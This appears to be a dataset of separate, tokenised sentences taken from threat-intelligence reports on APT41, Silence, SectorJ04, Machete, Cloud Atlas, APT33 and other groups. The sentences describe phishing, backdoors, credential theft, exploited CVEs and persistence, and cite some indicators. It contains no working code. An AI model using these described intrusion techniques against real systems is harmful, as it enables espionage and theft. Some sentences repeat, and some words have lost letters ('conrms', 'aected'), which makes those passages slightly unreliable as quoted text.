APT41 has used several malware families that have also been used by other Chinese espionage operators , including variants of HIGHNOON , HOMEUNIX , PHOTO , SOGU , and ZXSHELL , among others .
HIGHNOON , one of the main code families observed being used by APT41 , was also used by APT17 in 2015 to target semiconductor and chemical manufacturers .
HOMEUNIX , another popular backdoor used by APT41 , has been used by at least 14 separate Chinese espionage groups , including APT1 , APT10 , APT17 ,APT18 , and APT20 .
APT41 has used CROSSWALK.BIN , a kernel driver ,to circumvent firewalls and covertly send data .
Another Chinese espionage group used a similar tool , CLASSFON , to covertly proxy network communications in 2011 .
At least two of these malware families , HIGHNOON.CLI and GEARSHIFT , have been used by APT17 and another suspected Chinese espionage group .
APT41 regularly leverages code-signing certificates to sign malware when targeting both gaming and nongaming organizations .
In July 2017 , APT41 initiated a TeamViewer session and transferred files that were later deleted .
In these instances , APT41 leveraged TeamViewer to transfer malware into the compromised environment , although we do not have direct evidence of APT41 compromising TeamViewer .
In May 2018 , APT41 used TeamViewer for initial entry in the compromise of a healthcare company .
Notably , APT41 was observed using proof-of-concept exploit code for CVE-2019-3396 within 23 days after the Confluence .
APT41 has targeted payment services specializing in handling in-game transactions and real money transfer (RMT) purchases .
We observed APT41 using a compromised account to create a scheduled task on a system , write a binary component of HIGHNOON containing the payload and C&C information to disk , and then modify the legitimate Windows WMI Performance Adaptor (wmiApSrv) to execute the HIGHNOON payload .
The group will also use a compromised account to create scheduled tasks on systems or modify legitimate Windows services to install the HIGHNOON and SOGU backdoors .
APT41 uses multiple methods to perform lateral movement in an environment , including RDP sessions , using stolen credentials , adding accounts to User and Admin groups , and password brute-forcing utilities .
To maintain presence , APT41 relies on backdoors , a Sticky Keys vulnerability , scheduled tasks , bootkits , rootkits , registry modifications , and creating or modifying startup files .
APT41 leveraged ROCKBOOT as a persistence mechanism for PHOTO and TERA backdoors .
APT41 has also been observed modifying firewall rules to enable file and printer sharing to allow for inbound Server Message Block (SMB) traffic .
In some instances , APT41 leveraged POISONPLUG as a first-stage backdoor to deploy the HIGHNOON backdoor in the targeted environment .
The group also deploys the SOGU and CROSSWALK malware families as means to maintain presence .
APT41 sent spear-phishing emails to multiple HR employees three days after the compromise had been remediated and systems were brought back online .
APT41 also deploys the SOGU and CROSSWALK malware families as means to maintain presence .
Within hours of a user opening the malicious attachment dropping a HOMEUNIX backdoor , APT41 regained a foothold within the environment by installing PHOTO on the organization's servers across multiple geographic regions .
Before attempting to deploy the publicly available Ransomware-as-a-Service (RaaS) Encryptor RaaS through group policy , APT41 blocked victim systems from retrieving anti-virus updates by accessing the DNS management console and implementing a forward lookup on the domain used for anti-virus updates to the park IP address 1.1.1.1 .
APT41 has been observed creating a RAR archive of targeted files for exfiltration .
APT41 is unique among tracked China-based actors in that it leverages non-public malware typically reserved for espionage campaigns in what appears to be activity for personal gain .
During multiple engagements , APT41 attempted to remove evidence of some of its activity by deleting Bash histories , clearing Windows security and system events , and modifying DNS management to avoid anti-virus detections .
Explicit financially-motivated targeting is unusual among Chinese statesponsored threat groups , and evidence suggests APT41 has conducted simultaneous cyber crime and cyber espionage operations from 2014 onward .
APT41 operations against higher education , travel services , and news/media firms provide some indication that the group also tracks individuals and conducts surveillance .
For example , the group has repeatedly targeted call record information at telecom companies .
APT41 has established and maintained strategic access to organizations in the healthcare , high-tech , and telecommunications sectors .
The group’s financially motivated activity has primarily focused on the video game industry , where APT41 has manipulated virtual currencies and even attempted to deploy ransomware .
In another instance ,APT41 targeted a hotel’s reservation systems ahead of Chinese officials staying there , suggesting the group was tasked to reconnoiter the facility for security reasons .
These supply chain compromise tactics have also been characteristic of APT41’s best known and most recent espionage campaigns .
Interestingly , despite the significant effort required to execute supply chain compromises and the large number of affected organizations , APT41 limits the deployment of follow-on malware to specific victim systems by matching against individual system identifiers .
Mapping the group’s activities since 2012 (Figure 2) also provides some indication that APT41 primarily conducts financially motivated operations outside of their normal day jobs .
The latter is especially notable because APT41 has repeatedly returned to targeting the video game industry and we believe these activities were formative in the group’s later espionage operations .
APT41 leverages an arsenal of over 46 different malware families and tools to accomplish their missions ,including publicly available utilities , malware shared with other Chinese espionage operations , and tools unique to the group .
Once in a victim organization , APT41 can leverage more sophisticated TTPs and deploy additional malware .
APT41 often relies on spear-phishing emails with attachments such as compiled HTML (.chm) files to initially compromise their victims .
APT41 has also deployed rootkits and Master Boot Record (MBR) bootkits on a limited basis to hide their malware and maintain persistence on select victim systems .
The limited use of these tools by APT41 suggests the group reserves more advanced TTPs and malware only for high-value targets .
Like other Chinese espionage operators , APT41 appears to have moved toward strategic intelligence collection and establishing access and away from direct intellectual property theft since 2015 .
This shift , however , has not affected the group's consistent interest in targeting the video game industry for financially motivated reasons .
BalkanRAT enables the attacker to remotely control the compromised computer via a graphical interface , i.e , manually; BalkanDoor enables them to remotely control the compromised computer via a command line , i.e , possibly en masse .
With the contents of the emails , included links and decoy PDFs all involving taxes , the attackers are apparently targeting the financial departments of organizations in the Balkans region .
Some parts of the campaign were briefly described by a Serbian security provider in 2016 and the Croatian CERT in 2017 .
The campaign has been active at least from January 2016 to the time of writing the most recent detections in our telemetry are from July 2019 .
Our findings show that the mentioned attacks have been orchestrated and we consider them a single long-term campaign that spans Croatia , Serbia , Montenegro , and Bosnia and Herzegovina .
We’ve discovered a new version of BalkanDoor with a new method for execution/installation: an exploit of the WinRAR ACE vulnerability CVE-2018-20250 .
Both BalkanRAT and BalkanDoor spread in Croatia , Serbia , Montenegro , and Bosnia and Herzegovina .
According to our telemetry , the campaign spreading these tools has been live since 2016 , with the most recent detections as late as in July 2019 .
In some of the latest samples of BalkanDoor detected in 2019 , the malware is distributed as an ACE archive ,disguised as a RAR archive (i.e , not an executable file) , specially crafted to exploit the WinRAR ACE vulnerability CVE-2018-20250 .
Via the BalkanDoor backdoor ,the attacker sends a backdoor command to unlock the screen… and using BalkanRAT , they can do whatever they want on the computer .
The BalkanDoor backdoor does not implement any exfiltration channel .
APT41 leveraged ADORE.XSEC , a Linux backdoor launched by the Adore-NG rootkit , throughout an organization's Linux environment .
The backdoor can connect to any of the C&Cs from a hardcoded list – a measure to increase resilience .
The main part of the BalkanRAT malware is a copy of the Remote Utilities software for remote access .
Interestingly , some of the APT41's POISONPLUG malware samples leverage the Steam Community website associated with Valve , a video game developer and publisher .
The campaign targeting accountants in the Balkans shows some similarities with a campaign aimed at Ukrainian notaries reported in 2016 .
Based on the Let’s Encrypt certificate issuance date , we believe this campaign to be active from May 2019 .
One of the domains uncovered during the investigation was identified by the Chinese security vendor CERT 360 as being part of the BITTER APT campaign in May 2019 .
Further analysis of the BITTER APT’s infrastructure uncovered a broader phishing campaign targeting other government sites and state-owned enterprises in China .
Further investigation revealed approximately 40 additional sites , all of which appear to be targeting the government of China and other organisations in China .
We expect to see BITTER APT continuing to target the government of China by employing spoofed login pages designed to steal user credentials and obtain access to privileged account information .
This domain and IP address has been previously associated with the BITTER APT and targeting government agencies in China with phishing attacks ,based on reporting from 360-CERT .
At the time of analysis , the subdomains did not host a website; however ,based on BITTER APT group’s targeting patterns ,it is highly likely that they were created to host faux login phishing pages designed to steal user’s credentials .
BITTER APT campaigns are primarily targeting China , Pakistan and Saudi Arabia historically .
As part of its ongoing research initiatives ,the Anomali Threat Research Team has discovered a new phishing attack leveraging spoof sites that seem to be designed to steal email credentials from the target victims within the government of the People’s Republic of China .
360 Threat Intelligence Center has reported on related indicators being attributed to BITTER APT a South Asian country suspected Indian APT in open source reporting .
China Chopper is a tool that has been used by some state-sponsored actors such as Leviathan and Threat Group-3390 , but during our investigation we've seen actors with varying skill levels .
China Chopper is a tool that allows attackers to remotely control the target system that needs to be running a web server application before it can be targeted by the tool .
Cisco Talos discovered significant China Chopper activity over a two-year period beginning in June 2017 , which shows that even nine years after its creation , attackers are using China Chopper without significant modifications .
Here , we investigate a campaign targeting an Asian government organization .
We observed another campaign targeting an organisation located in Lebanon .
China Chopper contains a remote shell (Virtual Terminal) function that has a first suggested command of netstat an|find ESTABLISHED .
They download and install an archive containing executables and trivially modified source code of the password-stealing tool Mimikatz Lite as GetPassword.exe .
The tool investigates the Local Security Authority Subsystem memory space in order to find , decrypt and display retrieved passwords .
The actor attempts to exploit CVE-2018–8440 — an elevation of privilege vulnerability in Windows when it improperly handles calls to Advanced Local Procedure Call — to elevate the privileges using a modified proof-of-concept exploit .
The attacker obtains the required privileges and launches a few other tools to modify the access control lists (ACLs) of all websites running on the affected server .
The Windows branch of the Cloud Atlas intrusion set still uses spear-phishing emails to target high profile victims .
From the beginning of 2019 until July , we have been able to identify different spear-phishing campaigns related to this threat actor mostly focused on Russia , Central Asia and regions of Ukraine with ongoing military conflicts .
We described one of the techniques used by Cloud Atlas in 2017 and our colleagues at Palo Alto Networks also wrote about it in November 2018 .
The China Chopper actor activity starts with the download and execution of two exploit files which attempt to exploit the Windows vulnerabilities CVE-2015-0062 , CVE-2015-1701 and CVE-2016-0099 to allow the attacker to modify other objects on the server .
Cloud Atlas dropped its validator” implant named PowerShower” directly ,after exploiting the Microsoft Equation vulnerability CVE-2017-11882 mixed with CVE-2018-0802 .
This malware has been used since October 2018 by Cloud Atlas as a validator and now as a second stage .
Cloud Atlas remains very prolific in Eastern Europe and Central Asia .
During its recent campaigns , Cloud Atlas used a new polymorphic” infection chain relying no more on PowerShower directly after infection , but executing a polymorphic HTA hosted on a remote server , which is used to drop three different files on the local system .
The Gamaredon Group has been actively launching spear-phishing attacks against Ukrainian government and military departments from the mid-2013s .
In addition , the anonymous cybersecurity experts referenced in the article connected the malicious Gamaredon Group actors with Russian state-sponsored hackers .
In one article published in the Kharkiv Observer – an independent Ukranian online publication – an unnamed source stated that even the Ukrainian Presidential Administration has been attacked by malware developed by the Gamaredon Group .
Gamaredon Group primarily target Ukrainian organizations and resources using spear-phishing attacks , and they use military or similar documents as bait .
Once they have found a victim , they then deploy remote manipulation system binaries (RMS) via self-extracting archives and batch command files .
The following archive caught our attention for exploiting a WinRAR unacev2 module vulnerability and for having interesting content .
During a recent incident response investigation , our team identified new attacks by the financially motivated attack group ITG08 , also known as FIN6 .
More recently , ITG08 has been observed targeting e-commerce environments by injecting malicious code into online checkout pages of compromised websites — a technique known as online skimming — thereby stealing payment card data transmitted to the vendor by unsuspecting customers .
This tool ,a TTP observed in ITG08 attacks since 2018 , is sold on the dark web by an underground malware-as-a-service (MaaS) provider .
ITG08 is an organized cybercrime gang that has been active since 2015 , mostly targeting pointof-sale (POS) machines in brick-and-mortar retailers and companies in the hospitality sector in the U.S. and Europe .
Past campaigns by ITG08 using the More_eggs backdoor were last reported in February 2019 .
Attackers use it to create , expand and cement their foothold in compromised environments .
Lastly , ITG08 used Comodo code-signing certificates several times during the course of the campaign .
Let’s take a closer look at ITG08’s TTPs that are relevant to the campaign we investigated , starting with its spear phishing and intrusion tactics and covering information on its use of the More_eggs backdoor .
Additional capabilities of the More_eggs malware include the download and execution of files and scripts and running commands using cmd.exe .
X-Force IRIS determined that the More_eggs backdoor later downloaded additional files , including a signed binary shellcode loader and a signed Dynamic Link Library (DLL) ,as described below , to create a reverse shell and connect to a remote host .
Once the ITG08 established a foothold on the network , they employed WMI and PowerShell techniques to perform network reconnaissance and move laterally within the environment .
The attackers used this technique to remotely install a Metasploit reverse TCP stager on select systems , subsequently spawning a Meterpreter session and Mimikatz .
In addition to the More_eggs malware , ITG08 leveraged in-memory attacks by injecting malicious code , in this case Mimikatz , into legitimate system processes .
A recently rising attack tool in ITG08 campaigns has been the More_eggs JScript backdoor .
Mimikatz is a post-exploitation tool that allows attackers to extract credentials from volatile memory .
After a successful phishing attack in which users have opened emails and browsed to malicious links , ITG08 attackers install the More_eggs JScript backdoor on user devices alongside several other malware components .
Beyond using More_eggs as a backdoor , ITG08 in this campaign also used offensive security tools and PowerShell scripts to carry out the different stages of the attack .
After injecting Meterpreter into memory , the attacker had complete control of the infected device .
IBM X-Force IRIS has gained insight into ITG08’s intrusion methods ,ability to navigate laterally ,use of custom and open-source tools , and typical persistence mechanisms .
After the phishing email resulted in a successful infiltration , ITG08 used the More_eggs backdoor to gain a foothold and infect additional devices .
In addition , configuring PowerShell script logging and identifying any obfuscation will assist in mitigating ITG08’s use of PowerShell to conduct malicious activity .
The LYCEUM threat group targets organizations in sectors of strategic national importance , including oil and gas and possibly telecommunications .
CTU research indicates that LYCEUM may have been active as early as April 2018 .
In May 2019 , the threat group launched a campaign against oil and gas organizations in the Middle East .
This campaign followed a sharp uptick in development and testing of their toolkit against a public multivendor malware scanning service in February 2019 .
Stylistically , the observed tradecraft resembles activity from groups such as COBALT GYPSY (which is related to OilRig ,Crambus , and APT34 and COBALT TRINITY also known as Elfin and APT33 .
When CTU researchers first published information about LYCEUM to Secureworks Threat Intelligence clients , no public documentation on the group existed .
Using compromised accounts , LYCEUM send spearphishing emails with malicious Excel attachments to deliver the DanBot malware , which subsequently deploys post-intrusion tools .
The developer consistently used Accept-Enconding” (note the extra ‘n’) in all DanBot samples analyzed by CTU researchers .
Get-LAPSP.ps1 is a PowerShell script that gathers account information from Active Directory via LDAP .
LYCEUM deployed this tool via DanBot shortly after gaining initial access to a compromised environment .
LYCEUM delivers weaponized maldocs via spearphishing from the compromised accounts to the targeted executives , human resources (HR) staff , and IT personnel .
This focus on training aligns with LYCEUM’s targeting of executives ,HR staff , and IT personnel .
Despite the initial perception that the maldoc sample was intended for ICS or OT staff , LYCEUM has not demonstrated an interest in those environments .
CTU researchers cannot dismiss the possibility that the LYCEUM could seek access to OT environments after establishing robust access to the IT environment .
LYCEUM is an emerging threat to energy organizations in the Middle East , but organizations should not assume that future targeting will be limited to this sector .
Aside from deploying novel malware , LYCEUM’s activity demonstrates capabilities CTU researchers have observed from other threat groups and reinforces the value of a few key controls .
Password spraying , DNS tunneling , social engineering , and abuse of security testing frameworks are common tactics , particularly from threat groups operating in the Middle East .
The group behind these attacks has stolen gigabytes of confidential documents , mostly from military organizations .
Machete is still very active at the time of this publication , regularly introducing changes to its malware , infrastructure and spearphishing campaigns .
ESET has been tracking a new version of Machete (the group’s Python-based toolset) that was first seen in April 2018 .
This extends to other countries in Latin America , with the Ecuadorean military being another organization highly targeted with the Machete malware .
Their long run of attacks , focused on Latin American countries , has allowed them to collect intelligence and refine their tactics over the years .
Machete is interested in files that describe navigation routes and positioning using military grids .
The Machete group sends very specific emails directly to its victims , and these change from target to target .
The Machete group is very active and has introduced several changes to its malware since a new version was released in April 2018 .
Previous versions were described by Kaspersky in 2014 and Cylance in 2017 .
Since August 2018 , the Machete components have been delivered with an extra layer of obfuscation .
The GoogleUpdate.exe component is responsible for communicating with the remote C&C server .
ESET has been tracking this threat for months and has observed several changes , sometimes within weeks .
This way , the malware can have its configuration , malicious binaries and file listings updated , but can also download and execute other binaries .
The presence of code to exfiltrate data to removable drives when there is physical access to a compromised computer may indicate that Machete operators could have a presence in one of the targeted countries , although we cannot be certain .
This group is very active and continues to develop new features for its malware , and implement infrastructure changes in 2019 .
Machete's long run of attacks , focused in Latin American countries , has allowed them to collect intelligence and refine their tactics over the years .
ESET researchers have detected an ongoing , highly targeted campaign , with a majority of the targets being military organizations .
The group behind Machete uses effective spearphishing techniques .
First described by Kaspersky in 2014 [1] and later , by Cylance in 2017 [2] ,Machete is a piece of malware found to be targeting high profile individuals and organizations in Latin American countries .
In 2018 Machete reappeared with new code and new features .
As of June 2019 , ESET has seen over 50 victims being actively spied upon by Machete , with more than half of them being computers belonging to the Venezuelan military forces .
Machete has Latin American targets and has been developed by a Spanish-speaking group , presumably from a LATAM country .
Machete was active and constantly working on very effective spearphishing campaigns .
In some cases , Machete trick new victims by sending real documents that had been stolen on the very same day .
Machete relies on spearphishing to compromise its targets .
They seem to have specialized knowledge about military operations , as they are focused on stealing specific files such as those that describe navigation routes .
Attackers take advantage of that , along with their knowledge of military jargon and etiquette , to craft very convincing phishing emails .
Operators behind Machete apparently already have information about individuals or organizations of interest to them in Latin America , how to reach them , and how best to trick them into getting compromised .
Since the end of March up until the end of May 2019 , ESET observed that there were more than 50 victimized computers actively communicating with the C&C server .
This extends to other countries in Latin America , with the Ecuadorean military being another organization highly targeted by Machete .
Machete is malware that has been developed and is actively maintained by a Spanish-speaking group .
Since it was active in 2012 , it has been carrying out attacks against sensitive targets in China and is one of the most active APT attack organizations targeting mainland China in recent years .
By introducing small changes to their code and infrastructure , the group has bypassed several security products .
OceanLotus will release malicious sub-packages in the background , receive the remote control command , steal the privacy information of users such as SMS messages , contacts , call records , geographic locations , and browser records .
They also download apks secretly and record audios and videos , then upload users’ privacy information to server , causing users’ privacy leakage .
It can be seen that after the code leakage , the CEO of the HackingTeam organization said that the leaked code is only a small part is based on the facts , which also reflects that the network arms merchants have lowered the threshold of APT attacks to a certain extent , making more uncertainties of cyber attacks .
This report includes details related to the major hacking targets of the SectorJ04 group in 2019 , how those targets were hacked , characteristics of their hacking activities this year and recent cases of the SectorJ04 group’s hacking .
In 2019 , the SectorJ04 group expanded its hacking activities to cover various industrial sectors located across Southeast Asia and East Asia , and is changing the pattern of their attacks from targeted attacks to searching for random victims .
The SectorJ04 group has maintained the scope of its existing hacking activities while expanding its hacking activities to companies in various industrial sectors located in East Asia and Southeast Asia .
There was a significant increase in SectorJ04's hacking activities in 2019 , especially those targeting South Korea .
They mainly utilize spam email to deliver their backdoor to the infected system that can perform additional commands from the attacker’s server .
We saw SectorJ04 group activity in Germany ,the United States , Taiwan , India .
The SectorJ04 group mainly utilizes a spear phishing email with MS Word or Excel files attached , and the document files downloads the Microsoft Installer (MSI) installation file from the attacker server and uses it to install backdoor on the infected system .
The SectorJ04 group’s preexisting targets were financial institutions located in countries such as North America and Europe , or general companies such as retail and manufacturing , but they recently expanded their areas of activity to include the medical , pharmaceutical ,media , energy and manufacturing industries .
The SectorJ04 group mainly used their own backdoor , ServHelper and FlawedAmmy RAT , for hacking .
SectorJ04 also used the Remote Manipulator System (RMS) RAT , a legitimate remote management software created in Russia .
Backdoors are installed in infected systems and SectorJ04 also distributed email stealers , botnet malware and ransomware through those backdoors .
Backdoor installed in the infected system distributed additional botnet malware , ransomware and email stealers .
SectorJ04 was recently confirmed to use additional backdoor called AdroMut and FlowerPippi , which is used to install other backdoor such as FlawedAmmy RAT on behalf of the MSI file , or to collect system information and send it to the attacker’s server .
Although the SectorJ04 group mainly targeted countries located in Europe or North America , it has recently expanded its field of activities to countries located in Southeast Asia and East Asia .
The email stealer collects connection protocol information and account information , such as SMTP , IMAP , and POP3 , which are stored in the registry by Outlook and Thunderbird mail clients and sends them to the attacker server in a specific format .
A new type of backdoor called AdroMut and a new malware called FlowerPippi was also found coming from SectorJ04 .
But after 2019 SectorJ04 has changed its hacking strategy to attack using spam email .
The hacking activities of SectorJ04 group , which targeted South Korea in the first half of 2019 , have been continuously discovered .
Prior to 2019 ,the SectorJ04 group conducted large-scale hacking activities for financial gain using exploit kits on websites to install ransomware , such as Locky and GlobeImporter , along with its banking Trojan , on its victims computers .
In June 2019 , continuous SectorJ04's activities targeting South Korea were found again and spam emails were written with various contents , including transaction statements , receipts and remittance cards .
The SectorJ04 group has carried out large-scale hacking activities targeting South Korea , while also expanding the field of attacks to Southeast Asian countries such as Taiwan and the Philippines .
In June , SectorJ04 group conducted hacking using spam emails written in various languages , including English , Arabic , Korean and Italian , and the emails were written with various contents , including remittance card , invoice and tax invoice .
Spam emails and attachments written in Chinese were found in May , and the SectorJ04 group at that time targeted industrial sectors such as electronics and telecommunications , international schools and manufacturing .
In addition to their preexist backdoor , ServHelper and FlawedAmmy , they have also been confirmed to use the backdoor called AdroMut and FlowerPippi .
AdroMut downloads the malware ServHelper and FlawedAmmy RAT used by the SectorJ04 group from the attacker server and simultaneously performs the functions of a backdoor .
The SectorJ04 group , which has been utilizing the same pattern of infection and the same malware for more than six months , is believed to be attempting to change its infection methods such as downloading malware directly from malicious documents without using MSI installation files , changing their spam email format and using new types of backdoor .
Until 2019 , SectorJ04 group had carried out massive website-based hacking activities that mainly utilize ransomware and banking trojans for financial profit , and has also been carrying out information gathering activities to secure attack resources such as email accounts and system login information from users since 2019 .
The SectorJ04 group has shown a pattern of hacking activities that have changed from targeted attacks to a large-scale distribution of spam .
This allows them to expand their range of targets of hacking activities for financial profit , and in this regard , SectorJ04 group has been found to have hacked into a company’s internal network by using a spear phishing email targeting executives and employees of certain South Korean companies around February 2019 .
SectorJ04 group carried out intensive hacking on various industrial sectors , including South Korea’s media , manufacturing and universities , around February and March 2019 .
SectorJ04 used the spear phishing email to spread malicious Excel or malicious Word files , and downloaded the MSI files from the attacker’s server when the malicious documents were run .
SectorJ04 group conducted hacking activities targeting financial institutions located in India and Hong Kong around April 2019 .
SectorJ04 group carried out hacking activities targeting financial institutions located in Italy and other countries around May 2019 .
In late July , SectorJ04 group used FlawedAmmy RAT to carry out hacking attacks on companies and universities in sectors such as education ,job openings ,real estate and semiconductors in South Korea .
In early August , the SectorJ04 group carried out extensive hacking activities targeting the users around the world , including South Korea , India , Britain , the United States , Germany , Canada , Argentina , Bangladesh and Hong Kong .
Spam emails targeting email accounts used in the integrated mail service of public officials were also found in the hacking activity .
They are one of the most active cyber crime groups in 2019 , and they often modify and tweak their hacking methods and perform periodic hacking activities .
Now , Silence is one of the most active threat actors targeting the financial sector .
Since we released our original report , Silence: Moving into the darkside , the confirmed damage from Silence's operations has increased fivefold compared to the figures in Group-IB's initial report .
Silence started by targeting organizations in Russia , gradually shifting their focus to former Soviet countries , and then the world .
Silence also started using Ivoke , a fileless loader , and EDA agent , both written in PowerShell .
Silence 2.0: Going Global is an extension of our original report: Silence: Moving into the Darkside which remains the most significant contribution to the research on the group and is the first such report to reveal Silence’s activity .
Since the report’s release in September 2018 , Group-IB’s Threat Intelligence team has detected 16 campaigns targeting banks launched by Silence .
Like the majority of APT groups ,Silence uses phishing as their infection vector .
In the last successful attack described in Silence: Moving into the darkside , dated April 2018 , the hackers siphoned off about $150 , 000 through ATMs in a single night .
Prior to April 2018 , as described in Group-IB’s Silence: Moving into the darkside report , Silence’s target interests were primarily limited to former Soviet and Eastern European countries including Russia , Ukraine , Belarus , Azerbaijan , Poland , and Kazakhstan .
In 2018 , Silence conducted test campaigns to update their database of current targets and expand their attack geography .
The threat actor’s emails usually contain a picture or a link without a malicious payload and are sent out to a huge recipient database of up to 85 , 000 users .
Silence has conducted at least three campaigns using recon emails , followed by malicious mail sent to an updated recipient list .
Group-IB has also detected recon emails sent out to New Zealand .
Since our last public report , Silence has sent out more than 170 , 000 recon emails to banks in Russia , the former Soviet Union , Asia and Europe .
In November 2018 , Silence tried their hand at targeting the Asian market for the first time in their history .
In total , Silence sent out about 80 , 000 emails , with more than half of them targeting Taiwan , Malaysia , and South Korea .
Prior to April 2018 , as described in Group-IB’s Silence: Moving into the darkside report , Silence’s target interests were primarily limited to former Soviet and Eastern European countries including Russia , Ukraine , Belarus , Azerbaijan , Poland , and Kazakhstan .
From 16 October 2018 to 1 January 2019 , Silence sent out about 84 , 000 emails in Russia alone to update their address database .
As part of their phishing campaigns , silence still uses Microsoft Office documents with macros or exploits , CHM files , and .LNK shortcuts as malicious attachments .
In the former Soviet Union , Silence targeted banks in Kyrgyzstan , Kazakhstan , and Ukraine .
In 2019 , Group-IB also observed the use of a new fileless PowerShell loader called IvokeThe Silence.Main Trojan , which is the main stage of the attack ,has a full set of commands to control a compromised computer .
As the CnC server , Silence use CnC-3 server running Windows , from which they send commands to download additional modules .
To control ATMs , the group uses the Atmosphere Trojan , which is unique to Silence , or a program called xfs-disp.exe .
In addition , Silence downloads the reverse proxy programs Silence.ProxyBot and Silence. ProxyBot.NET , which are described in detail in the report Silence: moving into the darkside .
Analysis of the emails has shown that the attachment contains an exploit for the CVE-2017-11882 vulnerability .
Group-IB specialists tracked a massive mailout of emails containing a malicious Microsoft Word attachment titled Договор.doc” [Contract.doc] .
Silence sent out emails to Russian banks .
The exploit installs Silence’s loader , designed to download backdoors and other malicious programs .
Silence conducted a massive phishing campaign posing as the Central Bank of the Russian Federation .
Group-IB specialists have established that the aim of the attack was to deliver and launch the second stage of Silence’s Trojan , known as Silence.MainModule .
Silence attacked financial organisations in the UK .
Silence conducted the first stage of their Asian campaign , organising a massive phishing attack aimed at receiving an up-to-date list of current recipients in different countries for further targeted attacks delivering their malicious software .
The attackers used the server deployed on 6 June 2019 to control compromised workstations in these banks .
On 24 March 2019 , Silence.ProxyBot (MD5 2fe01a04d6beef14555b2cf9a717615c) was uploaded to VirusTotal from an IP address in Sri Lanka .
On October 18th , 2018 , the group sent out emails to British financial companies as part of their preparatory campaign .
Group-IB experts established that the server 185.20.187.89 started functioning no later than 28 January 2019 .
According to local media reports , in 2019 Silence successfully withdrew money from the Bangladeshi bank twice within 2 months .
To do this , the actor may have used a unique tool called Atmosphere , a Trojan developed by Silence to remotely control ATM dispensers , or a similar program called xfs-disp.exe , which the actor may have used in their attack on IT Bank .
As we described in Silence: Moving into the darkside report , Silence has experience with theft using compromised card processing systems .
In February 2019 , Russian media7 reported a Silence attack on IT Bank in the city of Omsk .
On 16 January 2019 , Silence sent out phishing emails with malicious attachments disguised as invitations to the International Financial Forum iFin-2019 (see section ‘Attack timeline’) .
Group-IB specialists determined that the email addresses of IT bank employees were among the recipients of these emails .
The main goal of Silence.Downloader is to receive an executable file and run it on an infected machine .
Silence.MainModule is a typical remote control Trojan that provides access to the command shell CMD.EXE with the possibility of downloading files from remote nodes to a computer and uploading files from a computer to a remote server .
Since at least 2011 , these hackers have been using malware to spy on corporate networks .
Hackers are targeting high-tech companies as well as chemical and pharmaceutical companies .
The hackers will map a company’s network and look for strategically favorable locations for placing their malware .
The corporation conrms the Winnti incident and issues the following statement: The cyberattack was discovered in the summer of 2014 and Henkel promptly took all necessary precautions.” Henkel claims that a very small portion” of its worldwide IT systems had been aected — the systems in Germany .
A BASF spokeswoman tells us in an email that in July 2015 , hackers had successfully overcome the rst levels” of defense .
The tool was written by sta of Thyssenkrupp , because the industrial giant—company number eleven—had been spied on by Winnti .
Hackers are charged with spying on a manufacturer of gas turbines .
The Hong Kong government was spied on by the Winnti hackers .
Komplex is a backdoor that has been used by APT28 on OS X and appears to be developed in a similar manner to XAgentOSX .
While OceanLotus’ targets are global , their operations are mostly active within the APAC region which encompasses targeting private sectors across multiple industries , foreign governments , activists , and dissidents connected to Vietnam .
NewsBeef attacks against Saudi Arabian organizations and individuals (as well as targets in the European Union) are likely to continue .
Rapid7 discovered that additional data was placed into the Dropbox accounts under control of the APT10 during the compromise and was able to attribute data that was placed into it as being owned by Visma .
Rapid7 again observed APT10 dropping payloads named ccSEUPDT.exe .
These RAT families are discussed in Novetta’s other report on the Lazarus Group’s RAT and Staging capabilities .
Magic Hound has primarily targeted organizations in the energy , government , and technology sectors that are either based or have business interests in Saudi Arabia .
Since at least 2013 , the Iranian threat group that FireEye tracks as APT33 has carried out a cyber espionage operation to collect information from defense , aerospace and petrochemical organizations .
CTU researchers observed likely unsuccessful phishing campaigns being followed by highly targeted spearphishing and social engineering attacks from a threat actor using the name Mia Ash .
CTU researchers conclude that COBALT GYPSY created the persona to gain unauthorized access to targeted computer networks via social engineering .
Characterized by relatively unsophisticated technical merit and extensive use of spear phishing ,the Magic Hound targeted individuals and organizations in the Middle East (including targets inside Iran itself) , as well as across Europe and in the United States .
These malware families have a rich history of being used in many targeted attacks against government and private organizations .
The activity surfaced in Southeast Asia , a region where APT10 frequently operates .
The samples we analyzed originated from the Philippines .
APT10 frequently targets the Southeast Asia region .
Both of the loader’s variants and their various payloads that enSilo analyzed share similar Tactics , Techniques , and Procedures (TTPs) and code associated with APT10 .
Typically , APT10 tends to employ a namesquatting scheme in their domains that aims to confuse the observer by posing as a legitimate domain .
Also , the certificate embedded in the Quasar sample was issued at 22.12.2018 , which correlates with the file’s compilation date .
Over the past three months , Recorded Future’s Insikt Group has observed an increase in APT33’s also known as Elfin infrastructure building and targeting activity , and on June 21 , 2019 , Yahoo .
News reported that the U.S. Cyber Command launched cyberattacks on an Iranian spy group .
Iranian state-sponsored threat actor APT33 has been conducting cyberespionage activity since at least 2013 , predominantly targeting nations in the Middle East , but also notably targeting U.S. , South Korean , and European commercial entities across a wide variety of sectors .
Our research found that APT33 , or a closely aligned threat actor , continues to conduct and prepare for widespread cyberespionage activity , with over 1 , 200 domains used since March 28 ,2019 and with a strong emphasis on using commodity malware .
The targeting of mainly Saudi Arabian organizations across a wide variety of industries aligns with historical targeting patterns for the group , which appear undeterred following previous exposés of their activity .
Towards the end of April 2019 , we tracked down what we believe to be new activity by APT10 ,a Chinese cyber espionage group .
Almost 60% of the suspected APT33 domains that were classified to malware families related to njRAT infections , a RAT not previously associated with APT33 activity .
Other commodity RAT malware families , such as AdwindRAT and RevengeRAT , were also linked to suspected APT33 domain activity .
APT33 is an Iranian state-sponsored threat actor that has engaged in cyberespionage activities since at least 2013 .
Western and Saudi organizations in industries that have been historically targeted by APT33 should be monitoring geopolitical developments and increasing the scrutiny of operational security controls focusing on detection and remediation of initial unauthorized access , specifically from phishing campaigns , webshells .
Symantec’s Elfin report denoted additional targeting of the engineering , chemical , research , finance , IT , and healthcare sectors .
We assess that the recent reporting on links between the Nasr Institute and Kavosh Security Group , as well as technical and persona analysis , overlaps among APT33 , APT35 , and MUDDYWATER , and is probably a result of the tiered structure that Iran utilizes to manage cyber operations .
Recorded Future has been monitoring APT33 activity , beginning with research published in October 2017 , which revealed new infrastructure , malware hashes , and TTPs relating to the threat actor(s) .
FireEye also noted in their 2017 report that the online handle xman_1365_x , ” found within the PDB path in an APT33 TURNEDUP backdoor sample , belonged to an individual at the Nasr Institute .
Recorded Future’s Insikt Group has been monitoring APT33 activity , beginning with research published in October 2017 , which revealed new infrastructure , malware hashes , and TTPs relating to the threat actor(s) .
